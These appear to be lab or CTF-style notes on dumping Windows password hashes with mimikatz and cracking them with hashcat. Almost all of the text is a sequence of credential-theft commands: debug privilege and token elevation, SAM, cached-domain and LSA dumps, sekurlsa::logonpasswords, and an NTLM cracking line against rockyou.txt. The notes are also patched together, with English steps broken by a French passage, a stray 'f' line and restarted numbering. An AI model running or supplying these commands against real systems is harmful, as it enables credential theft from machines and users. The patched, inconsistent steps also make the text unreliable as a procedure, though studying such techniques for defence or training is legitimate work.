Dumping hashes w/ mimikatz
\
Dump Hashes w/ mimikatz -
1.) cd Downloads && mimikatz.exe this will cd into the directory that mimikatz is kept as well as run the mimikatz binary\
2.) privilege::debug ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly\
Il est parfois nécessaire de taper la commande:
token::elevate
Puis ces commandes:
lsadump::sam
(ou)
lsadump::cache (pour les users d'un domaine)Si tout cela ne fonctionne pas, il est possible qu'utiliser la console Powershell en tant qu'admin soit NECESSAIRE.
f
puis:
privilege::debug
pour s'assurer des droits, puis:
sekurlsa::logonpasswords
3.) lsadump::lsa /patch Dump those hashes!\
Crack those hashes w/ hashcat
1.) hashcat -m 1000 <hash> rockyou.txt
Mimikatz has many uses along side being a great tool to dump hashes we will cover another one of those ways of using mimikatz in the next task by creating a golden ticket with mimikatz\
Last updated